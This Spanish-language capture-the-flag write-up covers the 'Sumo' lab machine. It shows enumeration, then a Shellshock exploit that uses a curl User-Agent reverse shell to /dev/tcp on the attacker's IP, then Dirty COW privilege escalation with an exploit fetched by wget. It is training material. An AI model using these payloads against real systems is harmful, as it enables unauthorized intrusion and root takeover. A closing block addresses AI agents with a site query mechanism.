# Sumo

<figure><img src="/files/zvmwuqdKFPAi9KOCwI2J" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Puertos abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.59.87
```

<figure><img src="/files/mo6cCqnSVvLoyCwpHPAP" alt=""><figcaption></figcaption></figure>

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -sVC -vvv 192.168.59.87
```

<figure><img src="/files/VdmfrIizgeEe9rrJjVgk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n7np0ag566ozi9hSIkG4" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 5.9
* Puerto 80 -> HTTP -> Apache httpd 2.2.22

#### Enumeración Web

Comenzamos viendo el contenido del servidor Web en el navegador.&#x20;

<figure><img src="/files/Y3ceJixWCNtv3PPn6UNx" alt=""><figcaption></figcaption></figure>

Seguimos enumerando los directorios del sitio Web.

```
dirsearch -u "192.168.219.87" -i200,301,401,403 -t 30
```

<figure><img src="/files/vvOQiBIwFxiFDNrBeJgY" alt=""><figcaption></figcaption></figure>

Por otro lado, mientras se ejecuta "dirsearch", ponemos a trabajar a "nikto" ya que estamos tratando con un servidor Web.&#x20;

```
nikto -h 192.168.59.87
```

<figure><img src="/files/UuAEZBbkVLiuej2uoZMy" alt=""><figcaption></figcaption></figure>

Obtenemos información interesante.

<figure><img src="/files/poj5CWqE9RwEAmmgwQG8" alt=""><figcaption></figcaption></figure>

El servidor es vulnerable a la vulnerabilidad de "shellshock". Vamos a ver el contenido del directorio "/cgi-bin/test.sh" en el navegador.

<figure><img src="/files/ZUvx5lXTmi2b25oTCC6L" alt=""><figcaption></figcaption></figure>

### Explotación

#### Método 1 (Metasploit)

ShellShock es una vulnerabilidad explotable por inyección de código. Vamos a explotar utilizando la herramienta "Metasploit". Utilizaremos el comando "search" para buscar todos los exploits de shellshock.&#x20;

<figure><img src="/files/AXf5YFFPQYpCmBFx1ysH" alt=""><figcaption></figcaption></figure>

Tenemos un posible exploit candidato. Vamos a probarlo. Primero lo configuramos con los parámetros necesarios.&#x20;

<figure><img src="/files/QtkzrbtdIRAo8EAvWpuY" alt=""><figcaption></figcaption></figure>

Ejecutamos.&#x20;

<figure><img src="/files/JctLGuGhEuCVjxLJEJox" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al directorio Web como "www-data".

#### Método 2 (shell a través de User Agent)

Otra forma de explotar la vulnerabilidad de "shellshock" es a través del envío de comandos a través de "User-Agent". Primero pondremos un nc a la escucha en el puerto 1337. Posteriormente, con curl lanzaremos la petición siguiente.&#x20;

```
sudo curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.49.59/1337 0>&1' http://192.168.59.87/cgi-bin/test.sh
```

<figure><img src="/files/LlBKEcMIr3iosXBFgB79" alt=""><figcaption></figcaption></figure>

Ya tendremos conexión con la máquina objetivo de nuevo. Vamos a buscar la flag local.txt

```
find / -name local.txt
```

<figure><img src="/files/Dw1AL0qyfT3kknTfA591" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Comenzamos enumerando que puede ejecutar este usuario como "root" sin password.&#x20;

<figure><img src="/files/JUaWdt1PVHHDK68tknPH" alt=""><figcaption></figcaption></figure>

Pero no tenemos password para ese usuario. Otra cosa que podemos hacer es enumerar la versión de kernel.&#x20;

```
uname -a
```

<figure><img src="/files/pmARJOtmCyYC3g96W7am" alt=""><figcaption></figcaption></figure>

Tenemos una versión 3.2.0 de ubuntu. Vamos a buscar vulnerabilidades para esta versión.&#x20;

```
searchsploit linux kernel 3.2.0
```

<figure><img src="/files/8LnESog3hc56wqxeriR3" alt=""><figcaption></figcaption></figure>

Tenemos como resultado el 40839.c. Vamos a descargarlo.&#x20;

```
searchsploit -m 40839.c
```

Para ejecutar este exploit realizamos el siguiente proceso:

1. Ejecutamos un servidor HTTP con Python para transferir el exploit a la máquina objetivo.

```
python2 -m SimpleHTTPServer 80
```

2. Transferimos el exploit a la máquina víctima

```
wget http://192.168.45.5/40839.c
```

3. Compilamos el archivo

```
gcc -pthread 40839.c -o exploit -lcrypt
```

<figure><img src="/files/afNTzsEexyWjTazt4ELG" alt=""><figcaption></figcaption></figure>

Nos reportará este error. Esto se debe a que el PATH donde nos encontramos  no es correcto, lo modificamos y volvemos a compilar el exploit.

```
PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
```

4. Damos permisos de ejecución y ejecutamos

```
chmod +x exploit
./exploit
```

5. Generamos una password

<figure><img src="/files/uxW4wzcWrIASt6JsEIwL" alt=""><figcaption></figcaption></figure>

Ejecutamos y esperamos 1 minuto. Después de esto, consultamos los usuarios generados.&#x20;

```
cat /etc/passwd
```

<figure><img src="/files/2D0hyd28nCGXIgihvXDy" alt=""><figcaption></figcaption></figure>

Ya tenemos generado el usuario nuevo. Ahora con este usuario y la contraseña introducida anteriormente deberiamos poder elevar a máximos privilegios. Pero antes, debemos convertir la tty en interactiva.&#x20;

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="/files/mkC1iY10YXc2iDgnQw3D" alt=""><figcaption></figcaption></figure>

Y ya tendremos conexión con el nuevo usuario creado, "firefart".

<figure><img src="/files/zxw8SO3m42FbnorXUmqg" alt=""><figcaption></figcaption></figure>

Y al mismo tiempo, tendremos privilegios como "root". Solo quedará buscar la flag proof.txt

<figure><img src="/files/6wTK7FzTYK28oLEhjeHO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qDHLO9CPfCQBRheD9fNJ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://youtu.be/LS8bG_Gt5ug>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sumo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
